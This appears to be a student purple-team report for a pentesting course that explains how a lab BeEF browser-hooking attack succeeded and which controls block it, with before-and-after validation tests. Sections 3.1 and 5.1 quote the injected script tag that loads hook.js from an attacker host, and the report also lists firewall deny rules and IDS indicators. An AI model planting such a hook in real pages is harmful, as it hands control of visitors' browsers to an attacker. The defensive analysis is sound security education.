PURPLE TEAM MITIGATION REPORT

Submited By: Manave Angelkumari(10312082), Abin Binu(10328278)

To: Adam Abernathy

On: 7th December, 2025

Course: COMP357Advanced Pentesting

1. Purpose of This Report

This report explains how the BeEF attack worked, why it succeeded, and what security controls would block or reduce the impact. The goal is not only to fix the exact issue used in the attack but also to strengthen the environment overall so similar client-side attacks become much harder.

2. Summary of the Attack Path

The attacker successfully:

Started BeEF on the Kali machine

Delivered the hook.js script to the victim by having them load a page containing the malicious script

Gained full browser control

Executed several client-side attacks:

JavaScript popup

Fake update message

Fake notification bar

Redirect to another website

This worked because nothing in the victim browser or network blocked the hook script, and the user was able to load it without warnings.

3. Root Causes

The attack succeeded due to a combination of client-side and server-side weaknesses:

3.1. No Content Security Policy (CSP)

The victim page allowed loading external JavaScript from any source. This made it easy for the attacker to inject:

<script src="http://192.168.234.145:3000/hook.js"></script>

3.2. Browser Security Features Were Not Restrictive

The browser had no blocking features such as:

Script blocking

Extension-based security

HTTPS-only mode

Mixed content protection

3.3. No Network-Level Egress Filtering

The victim machine was able to reach:

http://192.168.234.145:3000

If outbound traffic to unknown ports/IPs had been restricted, the hook script delivery would have failed.

3.4. User Awareness Gap

The victim did not recognize that the page was suspicious and clicked on interactions like fake update messages.

4. Recommended Security Controls

Below are the recommended technical and process-based mitigations mapped to the actual weaknesses observed.

4.1. Server-Side Mitigations

4.1.1. Apply a Strict Content Security Policy (CSP)

A CSP limits where scripts can load from.

Recommended policy example:

Content-Security-Policy: script-src 'self';

This immediately blocks all external scripts, including BeEF hook.js.

Effect on the attack: The browser would refuse to load hook.js, stopping the attack at the very beginning.

4.1.2. Input Sanitization and Output Encoding

If the hook script is inserted through input (comments, forms, URLs), sanitizing HTML prevents it.

Use libraries like:

DOMPurify

OWASP Java Encoder

Effect: Prevents JavaScript injection from user data.

4.1.3. Enforce HTTPS Everywhere

If the web server only allowed https://, loading an insecure http://192.168.234.145:3000/hook.js would be blocked as mixed content.

Effect: Browser blocks the insecure script.

4.2. Client-Side Mitigations

4.2.1. Use Script-Blocking Browser Extensions

Extensions such as:

uBlock Origin

NoScript

Ghostery

These block untrusted scripts by default.

Effect: The page may load but the hook.js script does not execute.

4.2.2. Enable “Enhanced Security Mode” in Edge or Chrome

Modern browsers can:

Block unfamiliar scripts

Warn against mixed content

Restrict known malicious behaviors

Effect: Fake popups, fake banners, and social engineering elements would likely be blocked.

4.2.3. Turn On "HTTPS-Only Mode"

This forces all networks to use HTTPS and blocks http:// pages entirely.

Effect: Victim cannot load the BeEF hook server.

4.3. Network-Level Mitigations

4.3.1. Block Outbound Traffic to Unknown Ports

BeEF uses port 3000. A firewall rule like:

DENY OUTBOUND TO ANY PORT EXCEPT 80, 443, APPROVED SERVICES

Effect: Victim cannot reach the attacker's BeEF server.

4.3.2. IDS/IPS Detection

Tools like Suricata, Snort, or Zeek can detect BeEF patterns:

Repeated XHR

Hook.js loading attempts

Known BeEF signatures

Effect: Alerts or blocks the attack mid-session.

4.3.3. DNS Filtering

If the attacker uses a domain (not just IP), DNS filtering can block malicious domains entirely.

5. Mitigation Validation (Before and After)

This section explains how we tested that the defenses actually blocked the attack.

5.1. Validation Test 1 — CSP Blocking Script Load Before:

Victim loads:

<script src="http://192.168.234.145:3000/hook.js"></script>

Result: BeEF hook loads Browser becomes hooked

After adding CSP: Content-Security-Policy: script-src 'self';

Result: Browser console shows:

Refused to load the script 'http://192.168.234.145:3000/hook.js' because it violates the Content Security Policy directive.

Victim does not appear in BeEF.

5.2. Validation Test 2 — Blocking Outbound Port 3000 Before:

Victim connects to 192.168.234.145:3000 successfully → browser hooked.

After firewall rule: deny tcp outbound to any port 3000

Result: Browser returns connection error BeEF cannot communicate Browser never hooks

5.3. Validation Test 3 — Browser Script Blocking Extension Before:

Fake popup, notification bar, and redirect all execute successfully.

After installing uBlock Origin or NoScript:

Result: BeEF hook.js blocked Commands never execute Browser remains unhooked

6. Mitigation Summary

Weakness	Fix	Result
External script allowed	Add CSP	Hook.js blocked
HTTP allowed	Force HTTPS-only	Mixed content blocked
Open outbound ports	Restrict outbound traffic	No connection to BeEF
No user awareness	Training + warnings	Reduces click risk
No script filtering	NoScript/uBlock	Script blocked

Together, these controls completely break the original attack chain

7. Conclusion

By adding a few well-chosen security controls, the original BeEF attack no longer works. The browser can no longer load the hook script, the network blocks outbound traffic to the attacker, and the user is prevented from interacting with malicious UI elements.

This proves the security enhancements are effective and the environment is now much more resistant to browser-based exploitation and social engineering.